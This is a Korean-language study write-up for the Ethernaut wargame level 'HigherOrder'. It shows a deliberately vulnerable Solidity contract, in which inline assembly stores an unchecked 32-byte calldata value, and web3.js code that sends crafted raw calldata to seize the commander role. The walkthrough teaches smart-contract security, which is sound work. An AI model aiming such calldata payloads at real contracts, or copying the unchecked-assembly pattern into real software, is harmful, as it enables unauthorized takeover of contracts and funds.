> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/30.-higherorder.md).

# 30. HigherOrder

> 규칙은 깨라고 있는 것처럼 교활하고 대담한 자만이 권력을 잡을 수 있는 세상을 상상해 보세요. 여기는 Higher Order, 수수께기로 가득한 집단으로 그 중심에는 보물과 지휘관(Commander)이 당신을 환영합니다.
>
> 당신의 목표는 Higher Order의 지휘관이 되는 것입니다! 행운을 빌어요!
>
> #### 도움이 될 만한 것들:
>
> * 때때로, `calldata`는 신뢰할 수 없습니다.
> * 컴파일러는 점점 더 정교한 우주선처럼 진화하고 있습니다.

### 들어가기 전에

[EVM의 스토리지 슬롯](/smartcontract-security-docs/basics/3.-evm/evm-2.md)

[6. Delegation](/smartcontract-security-docs/ethernaut/6.-delegation.md)

* calldataload는 EVM opcode이며 주어진 offset 위치부터 32바이트를 읽는다.

***

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public { 
        assembly {
            sstore(treasury_slot, calldataload(4)) //[1]
        }
    }

    function claimLeadership() public { //[2]
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}
```

```
[1] : assembly로 인해 정의되지 않은 reasury_slot이 0으로 간주되며 이에 calldataload(4)를 저장
[2] : treasury 값이 255 이상이면 msg.sender가 commander가 되고 아닐시 revert
```

***

### **공격 시나리오**

* 문제 풀이를 위해서는 treasury > 255을 만족하고 msg.sender가 풀이자 지갑 주소여야 한다.
* registerTreasury 함수는 calldata를 assembly로 직접 추출하여 treasury에 저장한다.
* assembly 안에 있는 calldataload에 의해 uint8이 무시되고 32바이트 그대로 treasury에  저장됨
* calldataload(4)이기에 Function selector 이후 32바이트를 읽는다.
* Function selector에 최대값을 붙여서  트랜잭션을 보내 treasury 값이 255보다 크도록 만든다.

***

### **공격 코드**

```javascript
web3.eth.abi.encodeFunctionSignature("registerTreasury(uint8)") //selector 확인
await web3.eth.sendTransaction({
  from: player,
  to: instance,
  data: '0x211c85abffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
}) // 값 변경 

await contract.claimLeadership() // msg.sender을 commander로 변경 

await contract.commander() // 변경 확인
```

* web3.eth.abi.encodeFunctionSignature 라이브러리를 이용해 Function selector를 구한다.
* senTransaction으로 풀이자 지갑 주소에서 컨트랙트 주소로 트랜잭션을 보낸다.
* calinLeadership 함수를 통해 treasury > 255 조건 만족으로 msg.sender = commander가 된다.
* await contract.commander()로 풀이자 지갑 주소가 commander가 된 것을 확인 할 수 있다.

<div align="left"><figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FO7om1G4fVVgIjIiGhY31%2Fimage.png?alt=media&amp;token=3c22ef51-b61d-4bf1-85fc-4b6770aee054" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FKSoDu2s8KD1VVWA6VCtM%2Fimage.png?alt=media&amp;token=922bc831-f48a-4c9b-a3b6-72d5425853e5" alt=""><figcaption></figcaption></figure>

***

### :bangbang: 더 알아보기 :bangbang:

> 당신은 Higher Order 챌린지를 정복하고, Dirty Higher Order Bits 익스플로잇을 통해 지휘관의 자리를 차지했습니다. 이번 여정에서, 당신은 Solidity의 깊은 영역까지 탐험하며 바이트 조작과 함수 타입 검사를 우회하는 방법을 익혔습니다.
>
> 이 승리는 단순한 기술력 이상의 것입니다. 당신의 창의적 사고력과 비판적 문제 해결 능력이 빛났던 순간입니다.
